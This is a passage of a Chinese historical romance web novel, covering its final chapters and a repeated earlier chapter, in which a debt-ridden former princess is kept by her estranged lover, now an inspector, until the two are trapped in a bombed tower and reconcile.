可人家发热都是额头滚烫,她怎么是下巴滚烫。 苏弱水趴在书桌上,一闭眼就是白日里男人抬手托着她下颚的表情。 “郡主,筹到一千两。” 梅姨将手里的银票递给苏弱水。 苏弱水回神,“还差一千四。” 她头疼地蹙眉,除了还没凑够的银子,还有另外一件事。 “郡主,怎么了?” 没有外人的时候,梅姨还是习惯叫她郡主。 可实际上她现在已经不是什么郡主了,可是梅姨还是坚持在没有其他外人的情况下这么叫她。 “梅姨,我去哪里找个男人?” 梅姨视线往下,跟苏弱水对上,“郡主,现在这种情况下耽于享乐不好。” 两人对视片刻,苏弱水突然意识到什么,她的脸色“腾”一下就红了。 “我不是这个意思,我的意思是……”苏弱水不知道该怎么解释,只好实话实话,“今日那位巡抚大人上门来,让我明日带夫君过去。” “那位巡抚大人亲自上门?”梅姨皱了皱眉,显然是没想到今日她出门之后还发生了其他事情。 苏弱水点头,“他来要账。” “真是一帮贪得无厌之人。” 之前那位苏州知府也是,只知道拿钱,不知道办事,苏州洪涝百姓流离失所,却压着粮仓不肯放粮,还暗中将粮食卖给其他商户。 说起来,这位苏州知府也是苏弱水的老相识了,当时她初到苏州来寻神医治腿,这位苏州知府还给她送过一位土匪窝里的美少年。 想到陈火离,苏弱水又难免想到跟陆泾川的从前。 他只身一人独闯山寨,将她从寨子里救出去,为了不晕船,还吃了那么苦的草药。 那么多年的事情了,原来她都记得那么清楚- 翌日,苏弱水坐在梳妆台前让小丫鬟替自己梳发。 苏弱水梳得依旧是昨日的同心髻,小丫鬟虽然没有眼力劲,但手巧。 “夫人,要上妆面吗?” 一般来说,苏弱水出门的时候喜欢上淡妆。 她坐在梳妆台前,看着镜子里自己的容貌。 昨夜没有睡好,眼下有些青黑。 苏弱水用胭脂点了点眼下遮挡,觉得不太够,然后稍微又多用了一些。 “好看吗?” 女人爱美很正常,可小丫鬟还是第一次看到自家夫人如此紧张。 “好看,夫人是奴婢见过最好看的人了。” 小丫鬟很会拍马屁。 虽然苏弱水知道这其中定然有夸大的成分,但她还是很受用的。 苏弱水看着自己光秃秃的妆奁盒子,只剩下那一对成色不好的玉镯。 她想了想,还是将玉镯戴上了。 出门时,苏弱水戴上帷帽,梅姨不放心她带个小丫头,跟了她一起过来。 陆泾川现在以巡抚的身份暂时住在苏州知府中。 苏弱水说明来意,看守的人便将角门打开了,倒是确实没有为难他们。 除了他们这辆马车之后,苏弱水还看到了很多人。 听说最近苏州知府门前的马车络绎不绝,送礼的人都能排到街尾,也不知道苏州知府的仓库够不够大,能不能装得下这么多礼。 马车行驶进去一段路后,苏弱水远远听见丝竹之音。 听说这位巡抚大人夜夜笙歌,快活极了。 苏弱水沉下心,领着梅姨从马车内下来。 前面有婢女引路。 还是大白天,园子里就已经有许多吃醉酒的人东倒西歪。 梅姨护着苏弱水避开这些不规矩的人,跟紧那婢女。 远远的,一座亭台之中坐着一个人。 男人换了件刺绣赤色长袍,浑身上下透着一股华美之感,更衬得那张脸惊艳绝伦。 连苏弱水看到时都忍不住愣了愣。 他一个人独自坐在那里,前面不远处的花坛内搭着一个台子,上面有十几个美人正在跳舞。 鼓点声声,美人舞姿妖娆。 苏弱水隔着帷帽看到男人被酒色晕染的面容,熏染着昳丽眉眼,带上了几分湿气。 他单手把玩着酒杯,懒洋洋地朝她招手。 苏弱水向前。 梅姨突然一把拉住她。 “郡主……” 梅姨的视线开始抖动,她看向苏弱水的视线带上了几分惶恐。 梅姨发现了巡抚是陆泾川。 苏弱水摇头,安抚地拍了拍梅姨的手背,然后自己提裙上去了。 亭子里没人,只有陆泾川一人。 苏弱水将手里的银票放到桌上。 陆泾川低头看一眼,“还缺。” “劳烦大人再通融几日……” “你夫君呢?” 男人打断苏弱水的话。 苏弱水沉默一瞬,然后道:“他去世了。” “怎么死的?” 陆泾川低头,指腹擦过酒杯,他看到酒水里自己浅小的倒影在抖动。 “病死的。”苏弱水随意找了一个理由。 她除了顾捡外,根本就没有过夫君。 只是为了做生意方便,所以谎称有一位在外行军的夫君,以防别人有不轨之心。 亭子里安静一瞬间,只余下那丝竹靡靡之音。 此处靠河,河风吹起苏弱水轻薄的帷帽。 面前突然被推过来一杯酒。 “一杯,一百两。” 男人指尖捏着酒杯,从帷帽内探进来。 这对于现在的苏弱水来说,是个极大的诱惑。 她深吸一口气,接过面前的酒盏。 浓郁的桂花酒冲入鼻息中,入口却是辣的。 谁家桂花酒是辣的。 “咳咳咳……”苏弱水一杯下去,忍不住的咳嗽,然后很快,酒气上涌,她立刻意识到这酒度数不低。 下一刻,她的眼前开始模糊。 女人的身体软软倒下来,被男人稳稳接住。 陆泾川搂着怀里的苏弱水,抓着她臂膀的手指忍不住用力,他紧紧抱着她,像是抱着自己失而复得的宝贝。 他隔着帷帽,面颊贴到她的脸上,酒气湿漉漉地渗透进来,竟像是泪。 阿姐,这次,该用什么方法把你留住呢。 第48章 是有月亮吧 苏弱水醒过来的时候发现自己正在一间陌生的屋子里。 她记得自己昨日在亭子里吃了一杯酒就醉了。 她知道自己不胜酒力, 没有想到这么不胜酒力。 苏弱水低头看向自己身上的衣物,虽然穿着衣服,但明显不是昨日那套。 外面传来走动声, 苏弱水猛地一下坐起来, 脑袋因为酒劲所以有些昏沉。 她颤抖着指尖挑开床帐。 三步远处正站着一个男人。 背对着她在穿衣服。 男人身上有很多伤口,大多都是陈旧性伤口, 最严重的是腰部的贯穿伤。 听到身后动静, 陆泾川转身。 苏弱水还盯着他的伤口看。 男人转过身来,苏弱水看到他腰部同位置处也有一个伤口。 这看起来竟然像是……贯穿伤。 从后面刺入一柄利剑,贯穿腰部,从前面露出沾血鲜血的剑尖。 苏弱水清楚记得,她离开陆泾川之前他的身上还没有这个伤口。 男人垂眸系上腰带,宽松的黑色外衫罩住身体。 三年三年又三年, 那个曾经纤瘦的少年最终长成如今模样,身上也多了许多她不清楚的秘密。 “醒了。” “民女昨日……”苏弱水伸手扶住额角, 假意试探。 “你昨日吃醉酒,吐了我一身。” 苏弱水:…… 她不记得了。 像她这样酒量差酒品又不好的人就不应该吃酒。 “还差一千三。” 看来那杯酒是给她算进去了。 男人整理好衣物, 转身出去了。 苏弱水赶紧跟着起身, 然后就见门口走进来一排女婢,手里捧着洗漱的东西。 虽然已经很久没有被如此服侍过了,但苏弱水适应的很快。 她坐在屋内梳妆台前, 婢女给她梳了一个双髻, 插上漂亮的簪子。 苏弱水赶忙阻止,“我没有银子。” 那婢女一愣,不过也没有多话,只是按照苏弱水的吩咐,没有替她戴首饰。 苏弱水整理了身上的新夏装, 看起来像是成衣,跟她的尺寸有些不大相符。 “我的镯子呢?”苏弱水穿好衣物,整理袖口的时候发现自己的镯子不见了。 那女婢赶紧让人将苏弱水的镯子取了过来,“昨日夫人吐得厉害,我们替夫人收拾的时候暂时将镯子取了下来。” “昨日是你们替我收拾的?” 苏弱水问出此话时,心里莫名闪过一丝失落。 她还没来得及抓住,那女婢便点头道:“是的。” “麻烦你们了。”苏弱水戴上镯子,走出两步,又退回来,“你们大人……昨天晚上……” 苏弱水吞吞吐吐。 那女婢却是十分了解她想问什么。 “大人昨夜并未进屋子,他在园子里吃了一夜酒,今日晨间又在院子里练剑,方才进屋换衣与夫人撞见。” 女婢解释的很清楚,苏弱水点了点头,又问,“我还有一位朋友。” “那位在厢房内休息。” 那女婢话罢,便出了门去,没多久将梅姨带了过来。 “夫人,你没事吧?”梅姨神色焦灼地走过来。 苏弱水摇头,“梅姨,你没事吧?” 梅姨摇头,“我没事,倒是好吃好喝的招待,只是不准我见你,说你吃醉了酒,已经歇下了,我想带你回老宅都不行。” “我没事,我们现在回去。”苏弱水牵着梅姨的手往外走。 走到院子门口,便见一身穿侍卫服的人靠在那里,看到苏弱水出来,立刻笑盈盈道:“夫人,大人吩咐了,您这几日要待在府内。” 是谢成兰。 “为什么?” “大人说,您欠的银子还没给齐,可以让您这位朋友先去筹钱,等银子筹够了,您就可以离开了。” 谢成兰的视线落到梅姨身上。 梅姨神色警惕地看着他,挡在苏弱水身前。 谢成兰依旧是一副笑模样,“夫人,您别为难属下了。” 苏弱水伸手拍了拍梅姨的手背,“梅姨,我没事的,你先回去筹钱吧。” “夫人……”梅姨不放心,皱眉看着她。 苏弱水与梅姨相处三年,她知道梅姨担心她。 “梅姨,我不会有事的,现在筹钱是正事。” 听到苏弱水这么说,梅姨无奈,只得点头,暂时离开,毕竟目前也没有别的法子了,只盼着能快些筹到钱,将人带出来。 苏弱水站在院子门口,她能听到园子里的丝竹之音。 “你们大人经常这样吗?” “哪样?”谢成兰好奇。 “寻欢作乐。” 谢成兰赶紧摆手,“夫人可不要误会,我家大人洁身自好,自从夫人离开之后连一个女人的手指头都没有碰过。” 苏弱水的视线朝谢成兰看过来。 谢成兰立刻继续,“当然,男人也没有!太监也没有!” 苏弱水:…… “我能出院子吗?” “当然,夫人要去哪?”谢成兰跟在苏弱水身后。 “我随便转转。” 苏弱水确实没有要去的地方,她绕着房廊走进园子,远远看到今日那批舞女又换了,昨日在台子上跳,今日在大鼓上跳。园子里到处都摆满了苏州富绅豪商送来的好东西,满的甚至让人无处下脚。 陆泾川依旧坐在那座亭子里,他双手环胸靠在椅背上,双眸微阖,像是睡了。 这一天二十四个小时不间断的敛财也是把人累到了。 “你们什么时候走?”苏弱水小声询问谢成兰。 谢成兰一顿,“大人没说。” 苏弱水点头,然后突然话锋一转,“谢大人升职了吧?” 谢成兰伸手挠了挠后脑勺,有些小羞涩和小骄傲,“是啊。” “谢大人一年多少俸禄?” “不多不多,刚攒了些银子准备在金陵买个小宅子,夫人不知道,那金陵的宅子可比苏州城的贵多了。” 苏弱水点头道:“是啊,谢大人,我有个不情之请。” “夫人但说无妨。” “谢大人能不能借我点钱?” 谢成兰:…… 谢成兰往后撤了三步,看到苏弱水那一脸认真的表情,脸上的笑都变得勉强,“夫人您这……居然是认真的?” “谢大人,我借的不多,只要一千三百两银子就够了。” 谢成兰露出苦恼之色,“夫人,我总共也就存了五百两。” “五百两也行啊。” 谢成兰:……- 苏弱水晨间起得有些早,她感觉自己体内的酒气还没完全散去。脑袋有些疼,胸口郁结,面颊微臊。 女婢给她端了解酒药来,苏弱水一个人坐在屋子里吃了一口,觉得不好喝就不用了。 这大概是陆泾川暂时自己住的院子,屋子里的摆设看着很是华丽,不像是他的风格,应该是那苏州知府置办的,只是没想到,他费心费力花了那么多银子给这位“巡抚大人”置办完毕之后,就立刻被关进了牢里。 陆泾川不是个耽于享乐的人。 苏弱水现在细细想来,发现陆泾川也不是一个喜欢布置屋子,有特别喜好的人,他对什么东西都没有表现出非常大的执念,他不爱金银,不爱美食。 不,似乎还是有的。 是什么呢。 陆泾川的执念。 桌子上的解酒汤里印出苏弱水微怔的表情。 她想到陆泾川身上那道贯穿身体的伤口,用力摇了摇头,甩出脑中想法。 他现在只会恨她。 哪里还会…… 苏弱水起身,外面日头渐渐上升,屋子里开始炎热起来。 有女婢端了冰块进来降温。 苏弱水在冰块边坐了一会,还是觉得有些热,便出了屋子往檐下去,那里正好有一处通风口,还没有日头,正适合解暑。 她摇着扇子坐到檐下,看到院子里夏日春花烂漫,一盆一盆地摆放齐整。 女婢见苏弱水一人坐在檐下,便替她端了茶水过来,还有一应水果糕点。 “夫人若是觉得无聊可往园子里去看看。” “去过了。” “那夫人可以去后头看看,那里有个锦鲤池子。” 这院子后面居然还有一个小院,那里有一处鱼池,里面养着几条锦鲤,大致是好几日没吃东西了,看到苏弱水过去就一窝蜂地涌了过来,一点都不怕人。 苏弱水掰着手里的糕点往鱼池里扔。 锦鲤们纷纷抢夺。 苏弱水一口气扔了三块,还要再扔的时候被一只手握住了腕子。 “再喂就要撑死了,鱼不知道饥饱。” 男人熟悉的嗓音从耳后响起,苏弱水浑身一僵。 她坐在鱼池边上,嗅到他身上的气息。 龙涎香的味道掩盖了那股甜腥味。 苏弱水敛眸,抽出自己被男人握住的手腕,然后起身,镇定地掏出一张五百两的银票递给陆泾川。 陆泾川原本还算闲适的表情缓慢凝结起来,“哪来的?” “找谢大人借的。” 谢成兰把全部身家都带在了身上,他认为只有把银票放在自己身上才是最安全的,没想到这偏偏是最危险的。 “谢成兰?” “是的,我允诺给谢大人利息。” 陆泾川捏着手里的银票,突然轻笑一声,眼神却依旧冷冽,“还差八百两。” 只差八百两了。 苏弱水相信,梅姨那边应该没有太大问题了。 之前是时间紧,任务重,他们不是拿不出那么多钱,而是时间真的太赶了。 就算是卖铺子也是需要找人买的。 那几家铺子他们是低价出售的,因为价格低,所以才卖得快。可最近灾情刚过,根本就没有那么多要买铺子的人。 “今晚给我。” 今晚肯定是来不及的。 “大人再通融几日吧。”苏弱水小碎步跟在陆泾川身后。 男人步子又急又大,苏弱水逐渐跟不上。 她吃力的想跑快一些,没注意到脚下翘起的石砖,径直朝前扑去。 预想中的疼痛没有到来,陆泾川侧身接住她。 男人半跪在地上,苏弱水躺在他怀里,拽着他的衣襟,视线往上,仰头看他。 四面芭蕉朝房廊围拢过来,照出一片阴凉地,将他们圈在里面。 女婢听到动静过来,看到两人,又赶紧退回去。 有光斑从芭蕉叶片的缝隙里穿透而过,苏弱水眯了眯眼,想起身,却发现自己的脚踝好像扭到了。 看到女人突然蹙起的眉,陆泾川也意识到了什么。 他伸出手去摸她的脚踝,果然摸到一块不正常的鼓起。 陆泾川一把将她抱起放在美人靠上,然后撩起她的裙裾,揭开罗袜。 女人纤细的脚踝上鼓起一大块青紫痕迹。 “我没事。”苏弱水企图遮挡,陆泾川微微用力,她就变了脸色。 “没伤到骨头。” 男人站起身,看到苏弱水额角渗出的冷汗,他抬手,替她抚去。 苏弱水抬眸看他,眼眶微红。 不知道是疼的,还是委屈的。 她总是觉得陆泾川看她的眼神太冷了,他对她的态度也太冷了。 “能走吗?” 苏弱水点头,扶着美人靠慢慢吞吞地走。 陆泾川就跟在她身边,看她一瘸一拐地走。 而一直到出了后方小院,回到主屋,苏弱水累得出了一身热汗,也没有让陆泾川帮忙。 男人盯着女人的背影,表情不明。 他转身出去了,片刻之后,女婢带了医士过来给苏弱水看伤。 “没有伤到骨头,只有有些扭伤,过几日就好了。” 医士留了跌打药水就出去了。 苏弱水看着那一盒黑乎乎的药油皱眉。 好臭- 因为脚扭伤了,所以苏弱水又被迫在这里多住了几日。 原本陆泾川那天说的,今晚就要见到钱的事情,因为并没有人来找她要钱,所以也跟着拖延下来了。 苏弱水在屋子里待了几日,能下地,只是不能走太远。 这几日,女婢们往屋子里搬了许多东西,都是些女子用的,一开始苏弱水还拒绝,后来发现拒绝无用便也随他们去了。 至于陆泾川,苏弱水这几日并没有看到他,听女婢说是住到另外的院子里去了。 谢成兰过来看她,手里提着一个食盒,“夫人,您伤了脚,都说吃什么补什么,这是我特意从厨房给您带过来的酱猪蹄髈。” 苏弱水喜欢吃甜口的肉,她从小就是这么吃的,一直到穿越来到北方之后才知道各地饮食习惯不一样,这样的甜口肉对于其他一些人来说无异于异食癖。 苏弱水挑了几筷子吃。 谢成兰好奇地凑过来,“夫人,味道怎么样?” “嗯。”苏弱水点头,“很好吃。” 苏弱水胃口小,一般吃不了那么多,不过这几日的饭菜很合她口味,她便用的多了一些,连带着被苦夏热得瘦了几斤的身体也养回来了一些。 “这知府的厨子手艺真是不错。”苏弱水忍不住夸赞,“不知道我过几日回去的时候能不能把他带走?” 谢成兰笑眯眯道:“若夫人想要带他走,就自己去问他。” 苏弱水觉得自己现在这么穷,大概是养不起一个手艺这么好的厨子了。 毕竟好厨子都是很贵的。 谢成兰收拾完碗碟正要走,苏弱水突然唤住他,“谢大人。” 谢成兰下意识捂住自己的口袋,那里装着他这个月刚刚拿到手的俸禄,“夫人,我可没钱了。” 苏弱水:…… “不是这件事,我想问另外一件事。”- 苏弱水邀谢成兰坐下,还给他倒了一杯茶。 谢成兰笑眯眯接了,开始说。 从谢成兰嘴里,苏弱水知道了三年前陆泾川自她失踪之后的事情。 他将自己身边的暗卫全部散了出去找她,连远在千里之外的暗桩都动用了。 那时候正是关键时期,陆泾川这一动立刻便引起了代王的注意。 代王派遣杀手过来埋伏陆泾川。 陆泾川确实很厉害,可他只有一个人。 那是在北平王的墓碑前,等谢成兰带着暗卫赶到的时候,男人身上被捅了十几个血窟窿。 “我当时还以为主子活不成了……我从来没有见过一个人身上被捅了那么多窟窿还能活着的。” 陆泾川挺过来了。 那次之后,他变得更加沉默寡言,阴鸷冰冷。 他拿着北平王留给他的继位遗书,接替了北平城,守住了北平城的百姓,随后带领军队一路吞并其他藩王,攻入金陵。 “主子跟杀疯了一样……”谢成兰提起那时候的事,还有些心有余悸,“他一个主帅,整日里冲在最前面,我每日里看到他都是一身的血,像是从血池里爬出来。” 苏弱水下意识攥紧了自己的裙角。 “后来咱们终于把金陵攻下来了,百姓都很开心,夹道欢迎。可主子看起来却一点都不高兴的样子,他又不爱说话,我也猜不到他在想什么。我只知道他总喜欢在夜晚的时候站在城楼上往天上看,夫人,你说这天上有什么啊?” 谢成兰抬头望外面看。 外面太阳很大,照得他睁不开眼。 苏弱水想了半响,道:“夜晚的天上……是有月亮吧。”《 》 第49章 【正文完结】 第49章 【正文完结】 苏弱水脚踝消肿下地正常行走那日, 梅姨也将最后那笔钱带了过来。 “夫人,齐了。” 梅姨将手里的银票递给苏弱水。 苏弱水捏着这几张银票,看向梅姨因为好几日没有休息, 所以显得十分疲惫的面容, 轻声道,“谢谢你, 梅姨, 帮了我这么多。” 梅姨摇头,“是王爷从战场上将我带回去的,我们这支暗卫都是没有父母的孤儿,如果不是王爷,哪里能活到今日。我们是自愿加入暗卫,来保护郡主的。”说完, 梅姨道:“郡主,我们赶紧走吧。” 苏弱水点头, 抬眸望向外面。 今日是个阴天,看起来像是要下雨的样子。乌云压在天际, 连日头都被挡得结结实实。 苏弱水提裙出了院子, 正看到守在门口的谢成兰。 “谢大人,请替我转交给巡抚大人。”苏弱水将手里的银票递给谢成兰。 谢成兰没接,“夫人还是亲自给主子吧。” 苏弱水顿了顿, 脸上显出犹豫, “他可能不想见我。” “怎么会呢!”谢成兰差点要跳起来,可他忍住了,“夫人,我贪财,您这银票落我手里, 指不定还没到大人手上就没了。” 苏弱水:…… “巡抚大人在哪里?” “听说今日要下雨,大人在摘月楼里听戏。” 苏州知府挥霍无度,在府中建造了一座摘月楼。 这楼有八层高,听说专门用来招待贵客,里面什么玩的都有,类似于现代版贵族俱乐部,你没有点身份还进不来。 苏弱水点头,谢成兰在前面引路带她过去。 两人走在花园小道上,远远便能看到摘月楼。 “夫人。”走在前面的谢成兰突然开口,“主子之前做错了事,您生气也是应该的,可人总会做错事的,他只是不懂应该怎么爱一个人。”说到这里,谢成兰一顿,“当然,爱情之事对错,外人谁都没有办法插嘴,只有相爱的两个人才有资格原谅对方。” 苏弱水低着头,看到自己飘荡的裙裾,“是他……恨我。”她艰难开口吐出这句话。 谢成兰满脸震惊地转过头,显然是没想到苏弱水居然会是这种想法。 “多谢谢大人引路。” 苏弱水朝他微微颔首,抬手推开明月楼的门进去。 谢成兰这才回神,“不是的,我家主子是……” 谢成兰话说一半就闭上了,因为苏弱水已经走远了,袅袅丝竹之音传出来,也将他的话给掩了过去,苏弱水根本就没有听见- 明月楼有很多层,苏弱水进入之后往上看,她发现这座楼中间是空的,漂亮的木梯旋转而上,每一层上面都能看到有人在玩乐。 酒香,脂粉香,鼓声,琵琶声,琴音。 “请问,巡抚大人在何处?” 苏弱水拉住一个吃醉了酒的舞女。 那舞女喝得眼神都不对焦了,听苏弱水提到陆泾川,眼睛却是猛地一下就亮了。 “你找大人?哎呦,劝你别白费力气了,那位大人……哼,谁都不要。” 舞女甩着袖子绕着苏弱水转,视线落到她的额间,“你这颗胭脂痣真好看。” 苏弱水笑了笑,“我寻大人有事。” 舞女噘嘴,“在最上面。” 苏弱水垂眸道谢,慢慢吞吞往上走。 虽然她的脚好了,但还是有些不敢用力。 苏弱水一层楼一层楼的爬,爬到三楼就开始气喘了。 她单手扶着栏杆,视线往上。 这摘月楼怎么这么高啊。 苏弱水突然万分想念现代的电梯。 她休息了一会,继续又开始爬楼。 越往上,丝竹之音便越缥缈。 一直到了八楼,苏弱水才发现这里清净极了,一个人都没有。 那些鼓乐之音都被压在了下面。 天色慢慢阴暗下来,男人坐在窗前,手里执杯,望着窗外。 今日阴天,没有日头,天气还算比较凉爽。 现在也还没到晚上,看不着月亮。 苏弱水安静站在陆泾川身后,等喘匀了气,才开口道:“大人,我将银票带来了。” 她的声音不算大,可男人的身体却是猛地一动。 陆泾川没有转过身,他捏着手里的酒杯,身型微微僵硬。 苏弱水缓慢走过去,将手里的银票放到陆泾川面前的桌案上。 桌案上摆着一壶酒,一只酒杯,男人也不知道喝了多少,抬眸看她的时候眼睛微红,那是上涌的酒气。 苏弱水安静看他一眼,等了一会,咬了咬唇,“我走了。” 她侧身,身旁的男人突然开口,“脚好了吗?” 苏弱水顿住步子,点了点头,“好了。” 说完,两人又陷入古怪的沉默之中。 夏风吹入,飘起女人罗袖。 终于,苏弱水敛眸,再次开口,声音干脆了许多,“我走了,大人保重。” 苏弱水往前走,身后男人坐在那里,安静看着摆在桌案上的银票。 苏弱水想,真的就是最后一次见面了。 她的脚踏上木阶,下一刻,一道巨大的爆炸声从一楼响起。 “啊!” 尖叫声,慌乱的人群,不断砸下来的木块,还有断裂的地板和正在倾倒的摘月楼。 混乱之中,苏弱水支撑不住身体往前倒去。 她前面的木梯已经断裂,眼前是肉眼可见的空洞塌陷。 下一刻,一只手猛地一把拽住她将她往后面拉。 苏弱水只来得及看到陆泾川那双充血的血,两人就被塌陷的摘月楼覆盖。 安静,很安静。 苏弱水听到一阵急促的心跳声,她的脸上似乎有什么东西流淌过去,她闻到一股血腥气。 除了血腥气,还有尘埃腐朽的木块味道。 她睁开眼,四周昏暗,什么都看不到。 苏弱水张嘴,吃进一口土,她努力咳嗽,那口土被她吐出去一半,嘴里满是尘土的腐朽泥土味道。 她动了动自己的指尖,摸到一点肌肤。 “咳咳咳……”苏弱水使劲咽下一口唾沫,“陆泾川……” 一只搭在她腰上的手动了动。 苏弱水听到了男人的回答,“嗯。” 不知道为什么,她瞬间就安心了。 “你没事吧?” “阿姐希望我没事吗?”男人声音听起来没有什么异常,苏弱水那颗心也跟着落了一半。 “我当然希望你没事。” “可我骗了阿姐,阿姐难道不希望我死吗?” 陆泾川确实对她做了很多过分的事情,可这么多年来,她发现自己一次都没有希望他去死。 “没有。” 那只箍在她腰间的手突然收紧,男人轻微动了动,他试探性的将下颚放到了苏弱水的脖颈处。 两人紧紧挨在一起,于这方狭小之地。 苏弱水任由他靠着,她能感受到陆泾川的心跳声,还有她自己杂乱的呼吸声。 “阿姐,你再叫一遍我的名字,好不好?” 苏弱水垂落眉眼,低声唤他,“陆泾川。” 原来她早就已经喜欢上陆泾川了。 只是自己却不知道。 离开陆泾川的这三年间,她时时梦到他。 她以为她会恨他,可她发现,爱比恨更多。 所以,原来她爱他。 感受到身后男人窸窸窣窣的动作,苏弱水赶紧提醒道:“陆泾川,你不要动,我们应该是被困在倒塌的摘月楼里了。” 他们运气不错,挤在了这道倒塌的缝隙里。 男人听了她的话,乖乖没有动。 苏弱水知道,陆泾川有天道傍身,是不会死的,可她不一样,或许她今日就要死了。 苏弱水面临过很多次死亡,她对死亡并不陌生。 可现在,她突然又开始害怕。 她在害怕失去陆泾川。 原来陆泾川早就已经成为了她活在这个世界上最重要,最挂念的人。 “陆泾川,你身上的伤还疼吗?” “不疼了,抱着阿姐,哪里都不疼了。” 苏弱水想着都要死了,她想知道一个答案,“你不恨我吗?” “我为什么要恨阿姐?”身后传来男人不可置信的声音。 “因,因为我逃跑,所以你才被代王那边的刺客差点杀了……” “我爱你,阿姐。”陆泾川打断苏弱水的话。 他紧紧抱着她,呼吸声打在她的脖颈上,“明明是阿姐不要我了。” 苏弱水感觉自己的脖颈处微微湿润,那并非腥味的血,反倒更像是蕴热的泪。 陆泾川……是哭了吗? “我到处找都找不到阿姐。” “阿姐分明说过,不会不要我的。” “阿姐,对不起,我错了,你原谅我好不好,都是我的错……” 原来他的冷漠都是因为害怕。 像陆泾川这样的一个人,也会不知所措吗? 黑暗中,苏弱水抬起手,抚上陆泾川的面颊,“好,我原谅你了。” 她的指尖触到他柔软的肌肤,濡湿的面颊,苏弱水微微侧头,两人的脑袋靠在一处,“陆泾川,我们会死吗?”苏弱水呢喃自语。 男人蹭着她的肩膀,“可以跟阿姐死在一起,是我做梦都想的事。我想着,阿姐生前不愿意看到我,我只能这样跟阿姐在一起。”说到这里,陆泾川更加用力抱紧她。 苏弱水有点哭笑不得。 “主子!” “夫人!” 外面传来喧闹声,大概是谢成兰和梅姨他们终于寻到这里了。 “在这里,我们在这里……咳咳咳……”苏弱水张嘴,大声回应,“陆泾川,有人来救我们了,陆泾川?陆泾川!”- 江南八月的天依旧炎热,苏弱水躺在榻上休息,身边的人突然动了动。 苏弱水一下就醒了。 她睁开眼,看到陆泾川不知道什么时候已经醒了,正在替她打扇子。 轻薄的美人扇上挂着一个玉佩穗子,随着陆泾川的动作一摇一晃。 苏弱水松了一口气。 “阿姐,做噩梦了?”男人凑上来亲她。 苏弱水顺势将头靠到他胸口。 屋内置着两个盆,里面装满了冰块,这间屋子又在最通风处,四周绿荫遮蔽,因此并不算特别炎热。 细碎的夏风带着泥土和花香吹入屋内。 桌角上置着的熏香炉里燃烧着苏弱水最喜欢的线香。 “嗯,我梦到那个时候你倒在我身后,身上都是血。” 那日里,谢成兰和梅姨将他们救出来的时候,因为突然的光线刺激,所以苏弱水下意识闭了闭眼,直到她听到谢成兰的惊呼声,才转头看到身后的陆泾川。 陆泾川高大的身体软软倒在那里,满身尘土,遮盖住那张昳丽面容。 他躺在那里,像失去了呼吸一般。 为了护住他,他一个人挡住了倒塌的横梁。 苏弱水只记得自己一直在喊他的名字,喊到声音嘶哑。 她甚至忘记了陆泾川不会死。 听说那天是苏州城内一些富豪乡绅共同组织的一场阴谋。 上半年时,他们趁着苏州洪涝囤积粮食倒卖捞钱,搅得百姓苦不堪言。他们听说苏州知府已经被关进了牢里,知道这次怕是掏空了钱财都不能好过,为了逃脱罪责,居然想到让巡抚大人意外死亡这个计划。 他们不知道从哪里弄了许多火药埋在摘月楼下。 后续谢成兰带人将这些人全部都抓了起来,并且阴测测的告诉他们自己得罪的到底是谁,听说当场就吓死了几个,还有几个直接自缢了。 “都过去了,阿姐。”陆泾川翻身将女人揽到自己身上。 男人的恢复能力实在是惊人。 连神医都说自己从没见过一个人伤成那样,短短一月就能下地走路的。 苏弱水的手隔着衣物,怜惜地抚过他腹部的伤口,然后轻轻趴在他身上。女人青丝散落,铺了满床,眨着眼,歪着头看他,然后亲了亲他的下颚。 男人瘦了许多,这样抱着,腰线更明显了,也不知道什么时候才能养回来。 “阿姐。”陆泾川的嗓音立刻暗哑下来。 “神医说,你还要再休息一个月。” 苏弱水迅速起身,还没从陆泾川身上下来,就被他一把拽了回去。 “我不做什么,我就想抱着阿姐。我已经三年,没有抱过阿姐了。” 男人声音闷闷的,人高马大的一个男人,还像少年时一般与她撒娇,甚至昨日还要她替他梳发。 苏弱水无声应允了,她抬手抚过他的脸,指尖略过陆泾川上挑的眼尾。 男人生得好看,尤其是这双眼,漂亮至极,就连眼尾的弧度都生得恰恰好。 苏弱水一会摸摸他的眼睫,一会揉揉他的耳垂,有时候还会弹一弹他的红宝石耳坠子。 “阿姐……” “嗯?” 陆泾川一个翻身,把苏弱水压在了身下。 “神医说……唔……” 陆泾川喘着气去解她的衣带,“是你自己不老实,非要招我。” 她哪里招他了。 陆泾川吻上女人柔软白皙的下颚。 “娘子。” 苏弱水的眼神逐渐迷离,她伸出双臂环住陆泾川。 “夫君。” 作者有话说:感谢宝宝们的支持,写到这里就正文完结啦。《 》 40-48 第41章 阿姐,我爱你 苏弱水已经很久没有听到陆泾川说话了。 他的嗓音不是很沉, 甚至还带了点少年的清亮,可却令人不敢忽视。 分明语气和缓,甚至带了几分撒娇的意思, 可偏偏又带了几分戾气。 男人贴着她的脖颈说话, 气息喷洒在她的脖子上,苏弱水感觉自己那块肌肤都在发抖。 不, 是她全身都在发抖。 那是一种类似于野兽遇到危险时的第六感发作。 苏弱水动了动指尖, 下一刻,她抬脚奔出去。 屋门近在眼前,一只臂膀从后伸出,不费吹灰之力的将她抱起。 “啊!” 苏弱水腾空而起,被男人抱着往榻上去。 因为苏弱水畏冷,所以榻上铺了厚厚一层被褥, 她被压在被褥上,男人骑跨上来, 扯下女人蒙在眼睛上的白绸,手法利落的将她的双腕捆绑起来, 然后握住另外一端缠绕在自己的手腕上。 陆泾川双膝分开跪在苏弱水腰间, 高大的身体沉沉地坐在她身上,倒也没有坐实,只是虚虚压着她, 却也让她动弹不得。 “陆泾川……”苏弱水挣扎一下, 没有挣开。 她睁着一双看向男人,嗓音微哑。 “阿姐从前都叫我夫君,还叫我顾捡哥哥。”陆泾川慢条斯理抚过苏弱水的面颊,替她将黏在脸上的碎发拨开,露出那张瓷白轻薄的清冷脸孔。 此刻, 这张面孔之上多了几分惊慌无措,那双漆黑眼眸之中印出男人浅笑着的容貌,随后被积蓄起来的泪水模糊。 “是你先骗的我。”苏弱水分明是极有理的一方,可说话的时候却一点气势都没有。 确实,按照现在这个姿势,她也拿不出自己的气势来。 陆泾川勾着手里的绸带,手掌握紧,“喜欢这种事情,怎么能叫骗呢。” 男人倾身过来,面颊贴上苏弱水轻轻磨蹭,女人的泪水被他蹭到自己脸上。 “娘子不喜欢我吗?” 陆泾川生得极好,这样一张脸对着人撒娇的时候,想必没有人能拒绝。 虽然明知陆泾川做的那些恶劣事,但苏弱水对着这张脸却实在说不出“不喜欢”这三个字。 “你为什么不是真的顾捡。”因此,苏弱水只能无助又崩溃的说出这句话。 